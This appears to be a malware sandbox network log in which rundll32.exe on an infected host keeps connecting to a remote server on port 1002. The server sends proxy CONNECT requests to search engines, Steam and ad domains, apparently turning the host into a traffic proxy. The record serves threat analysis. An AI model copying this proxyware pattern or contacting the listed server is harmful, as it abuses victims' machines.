Dec 10, 2023 17:49:03.307986021 CET	702	OUT	GET /sorry/index?continue=http://www.google.com/&q=EgRmgZjUGP7X16sGIjC2eTkTmqRJus4nVY7rzygMgkXV6GMklQrRaW0TRvVbbEWsegS2r1HsDn59A9I5-F0yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1 Host: www.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Connection: Keep-Alive Connection: Upgrade, HTTP2-Settings Upgrade: h2c HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA Cookie: 1P_JAR=2023-12-10-16; AEC=Ackid1TUsXHZaGtNbDfzLA9mAfbXpaSraxKliPlz-amxEg2oIyHOewBuIw Referer: http://www.google.com/ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Dec 10, 2023 17:49:03.458137035 CET	1286	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 10 Dec 2023 16:49:03 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html Server: HTTP server (unknown) Content-Length: 3054 X-XSS-Protection: 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 70 61 64 64 69 6e 67 3a 32 30 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 20 6f 76 65 72 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 3a 63 6f 6e 74 61 69 6e 3b 22 20 6f 6e 6c 6f 61 64 3d 22 65 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 27 29 3b 69 66 28 65 29 7b 65 2e 66 6f 63 75 73 28 29 3b 7d 20 69 66 28 73 6f 6c 76 65 53 69 6d 70 6c 65 43 68 61 6c 6c 65 6e 67 65 29 20 7b 73 6f 6c 76 65 53 69 6d 70 6c 65 43 68 61 6c 6c 65 6e 67 65 28 2c 29 3b 7d 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 78 2d 77 69 64 74 68 3a 34 30 30 70 78 3b 22 3e 0a 3c 68 72 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 22 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 63 63 63 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 63 63 63 3b 22 3e 3c 62 72 3e 0a 3c 66 6f 72 6d 20 69 64 3d 22 63 61 70 74 63 68 61 2d 66 6f 72 6d 22 20 61 63 74 69 6f 6e 3d 22 69 6e 64 65 78 22 20 6d 65 74 68 6f 64 3d 22 70 6f 73 74 22 3e 0a 3c 6e 6f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 22 3e 0a 20 20 49 6e 20 6f 72 64 65 72 20 74 6f 20 63 6f 6e 74 69 6e 75 65 2c 20 70 6c 65 61 73 65 20 65 6e 61 62 6c 65 20 6a 61 76 61 73 63 72 69 70 74 20 6f 6e 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 2e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 61 70 69 2e 6a 73 22 20 61 73 79 6e 63 20 64 65 66 65 72 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 76 61 72 20 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 2d 66 6f 72 6d 27 29 2e 73 75 62 6d 69 74 28 29 3b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 22 20 63 6c 61 73 73 3d 22 67 2d 72 65 63 61 70 74 63 68 61 22 20 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content="initial-scale=1"><title>http://www.google.com/</title></head><body style="font-family: arial, sans-serif; background-color: #fff; color: #000; padding:20px; font-size:18px; overscroll-behavior:contain;" onload="e=document.getElementById('captcha');if(e){e.focus();} if(solveSimpleChallenge) {solveSimpleChallenge(,);}"><div style="max-width:400px;"><hr noshade size="1" style="color:#ccc; background-color:#ccc;"><br><form id="captcha-form" action="index" method="post"><noscript><div style="font-size:13px;"> In order to continue, please enable javascript on your web browser.</div></noscript><script src="https://www.google.com/recaptcha/api.js" async defer></script><script>var submitCallback = function(response) {document.getElementById('captcha-form').submit();};</script><div id="recaptcha" class="g-recaptcha"
Dec 10, 2023 17:49:03.458174944 CET	1286	IN	Data Raw: 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 36 4c 66 77 75 79 55 54 41 41 41 41 41 4f 41 6d 6f 53 30 66 64 71 69 6a 43 32 50 62 62 64 48 34 6b 6a 71 36 32 59 31 62 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 73 75 62 6d 69 74 43 61 6c 6c 62 Data Ascii: data-sitekey="6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b" data-callback="submitCallback" data-s="JZQqtT2xxcgG3dQ0dH7L11UUBxuclZ1vAvbf3W4QiaKRnlRKX6y2XoelySkALqQVjm4Xogm3pPXATBNewnuDC32egNROPLwiEZsNWIr4xU4vtCDXHIwp6qwMuBKg8ZqCoz_BlUg867opZcpg7nil
Dec 10, 2023 17:49:03.458193064 CET	762	IN	Data Raw: 62 6c 6f 63 6b 20 77 69 6c 6c 20 65 78 70 69 72 65 20 73 68 6f 72 74 6c 79 20 61 66 74 65 72 20 74 68 6f 73 65 20 72 65 71 75 65 73 74 73 20 73 74 6f 70 2e 20 20 49 6e 20 74 68 65 20 6d 65 61 6e 74 69 6d 65 2c 20 73 6f 6c 76 69 6e 67 20 74 68 65 Data Ascii: block will expire shortly after those requests stop. In the meantime, solving the above CAPTCHA will let you continue to use our services.<br><br>This traffic may have been sent by malicious software, a browser plug-in, or a script that sends

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49820	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:04.316442013 CET	211	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:04.317991018 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49824	195.62.52.164	1002

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:05.234018087 CET	228	IN	CONNECT search.yahoo.com:443 HTTP/1.1 Host: search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:05.235227108 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49830	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:07.074043989 CET	175	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:07.075385094 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49829	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:07.543390036 CET	206	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:07.544795036 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49837	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:10.319667101 CET	211	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:10.321274996 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49839	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:11.127991915 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:49:11.129566908 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49840	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:11.374484062 CET	206	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:11.376346111 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49848	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:14.368371010 CET	228	IN	CONNECT search.yahoo.com:443 HTTP/1.1 Host: search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:14.369565964 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49850	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:14.851639032 CET	175	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:14.853285074 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49853	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:15.503083944 CET	206	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:15.504544973 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49859	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:19.232953072 CET	175	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:19.361198902 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49862	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:19.636073112 CET	123	IN	CONNECT steamcommunity.com:443 HTTP/1.1 Connection: Keep-Alive Proxy-Connection: Keep-Alive Host: steamcommunity.com
Dec 10, 2023 17:49:19.764589071 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49863	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:19.913378000 CET	206	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:19.914940119 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49868	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:22.975172043 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:49:22.976490974 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49873	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:25.240125895 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:25.241404057 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49878	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:27.073956013 CET	123	IN	CONNECT steamcommunity.com:443 HTTP/1.1 Connection: Keep-Alive Proxy-Connection: Keep-Alive Host: steamcommunity.com
Dec 10, 2023 17:49:27.201081991 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49885	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:29.049530983 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:29.051353931 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49890	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:33.388066053 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:33.389645100 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49893	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:34.224812984 CET	211	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:34.226316929 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49895	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:34.821161032 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:49:34.822350979 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49914	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:46.807297945 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:49:46.809197903 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49917	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:47.380405903 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:47.508100033 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49924	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:50.793086052 CET	258	IN	CONNECT www.googleadservices.com:443 HTTP/1.1 Host: www.googleadservices.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:50.794512033 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49929	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:51.929112911 CET	123	IN	CONNECT steamcommunity.com:443 HTTP/1.1 Connection: Keep-Alive Proxy-Connection: Keep-Alive Host: steamcommunity.com
Dec 10, 2023 17:49:52.056350946 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49931	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:53.539634943 CET	240	IN	CONNECT 3310.xg4ken.com:443 HTTP/1.1 Host: 3310.xg4ken.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:53.698693037 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49940	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:56.235393047 CET	240	IN	CONNECT 3310.xg4ken.com:443 HTTP/1.1 Host: 3310.xg4ken.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:56.261373043 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49949	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:57.699780941 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:57.701560974 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49951	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:58.330734015 CET	211	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:58.331983089 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49952	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:58.729473114 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:49:58.730686903 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49963	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:04.931349039 CET	222	IN	CONNECT www.yahoo.com:443 HTTP/1.1 Host: www.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:05.060518980 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49969	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:08.868346930 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:50:08.869363070 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49971	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:10.299518108 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:50:10.300462008 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49972	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:10.621741056 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:10.622781992 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49976	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:12.076581001 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:50:12.077652931 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49981	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:14.438635111 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:14.439843893 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49982	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:14.598294973 CET	32	IN	CONNECT m.ok.ru:443 HTTP/1.0
Dec 10, 2023 17:50:14.725505114 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49987	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:17.979151011 CET	234	IN	CONNECT uk.search.yahoo.com:443 HTTP/1.1 Host: uk.search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:18.110189915 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49988	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:18.519534111 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:50:18.520998955 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49996	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:50:22.825241089 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:50:22.826581955 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49999	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
